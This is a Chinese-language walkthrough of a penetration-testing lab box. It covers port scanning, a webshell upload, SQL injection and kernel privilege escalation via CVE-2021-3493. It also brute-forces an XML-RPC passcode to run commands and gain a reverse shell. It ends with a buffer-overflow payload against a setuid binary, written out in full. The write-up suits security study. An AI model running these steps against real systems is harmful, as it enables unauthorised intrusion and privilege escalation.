环境搭建
1 | 渗透机:192.168.50.216 |
端口探针
1 | nmap -p- 192.168.50.43 |
服务探针
1 | nmap -p22,80,8000 -sV 192.168.50.43 |
可知 80端口是一个Apache的一个Web页面;
8000端口是一个python开的一个Web服务
通过对80 8000 端口的分别访问 80是一个登陆界面 8000 501报错
根据报错:请求方式错误
可以尝试抓包改请求方式,看服务端支持哪种请求方式
1 | 通过尝试常见的请求方法 探针可用的方法(这里没有探针出来,但是提供思路点) |
很显然8000端口目前没有可利用点
继续回到80端口
可知需要Email和Password 才可登陆
1 | 尝试万能密码去尝试之后 发现 登陆不进去 发现还是要知道邮箱然后进行登陆 |
发现可以任意用户创建登陆后台
可以知道存在 admin 用户
根据admin用户发布的文章可推测服务器存在一个python的脚本文件
可能存在利用点
文件上传
看了各种admin用户文章并没得到admin的邮箱
通过尝试各种功能点,发现一个文件上传功能点
成功上传且抓包过程中就能知道 文件上传所在位置
(或者在头像处也可复制SHELL地址访问)
然后用蚁剑连接尝试
连接成功
通过文件上传即可拿到低权限shell
1 | lsb_release -a 查看详细版本信息 |
SQL注入
只是能够得到admin邮箱从而登陆admin账号
通过后台拿shell的权限是一样的
1 | 搜索的表单提交含有SQL注入 |
通过SQL注入可以注入出admin的邮箱及密码
提权
提权一:内核提权
https://github.com/briskets/CVE-2021-3493
CVE-2021-3493
通过返回来的命令 看起来已经成功了
可能已经提权成功了(可能:蚁剑SHELL不全所造成退出)
1 | 反弹shell nc版本不支持-e参数 可尝试串联shell |
提权二:缓冲区溢出提权
XMLRPC模块
xmlrpc — XMLRPC 服务端与客户端模块 — Python 3.12.2 文档
XML-RPC 是一种远程过程调用方法,它使用通过 HTTP 传递的 XML 作为载体。 有了它,客户端可以在远程服务器上调用带参数的方法(服务器以 URI 命名)并获取结构化的数据。
查看可登陆的用户,去到它的家目录
发现存在 monitor.py 这对应了管理员发的文章,查看进程看脚本是否运行
可知 该程序是正在运行的 由于是python 又可以直接进入socnet目录查看
1 | #my remote server management API |
根据服务器代码写出发送请求代码
1 | import xmlrpc.client |
1 | def secure_cmd(cmd,passcode): |
由于 passcode==debugging_pass;
而debugging_pass = random.randint(1000,9999)
故可以尝试 暴力破解 passcode
1 | import xmlrpc.client |
1 | 成功爆破出passcode 9935 也成功执行了whoami命令 |
反弹shell得到socnet权限
1 | import xmlrpc.client |
调试程序
add_record是个32位Linux可执行程序且具有特殊权限
1 | peda python 动态调试 |
首先执行 查看是否含有提交数据入口点
发现含有几个位置用户可以提交数据
1 | gdb -q ./add_record # 静态调试程序 |
查找存在内存溢出的变量位置(输入大量数据)
程序正常退出,说明不存在
在最后一个变量 描述中存在溢出
1 | 重点关注:EIP: 0x41414141 ('AAAA') |
1 | 使用 pattern 生成特殊字符 |
使用 pattern search
即可帮助我们识别出来
验证
填入数据验证得
1 | 前62位占位 BCDE 成功溢出 |
1 | disas main #显示程序 汇编代码 |
1 | call 调用系统函数 打开文本文件命令 |
1 | break *地址 #下断点 |
1 | disas 方法名 #查看具体函数所执行的汇编指令 |
1 | <strcpy@plt> 存在缓冲区溢出漏洞 |
1 | <setuid@plt> |
注:
1 | 程序执行: |
1 | 数据是倒过来存储 |
payload:
1 | python -c "import struct;print('aa\n1\n1\n1\n' +'A'* 62 + struct.pack('I',0x08048676))" > payload |
将 payload 输入进程序 查看
1 | 发现 程序 新建了两个进程 /bin/bash |
1 | cat payload - | ./add_record |
gdb命令总结
1 | gdb -q ./程序名 #静态调试程序 |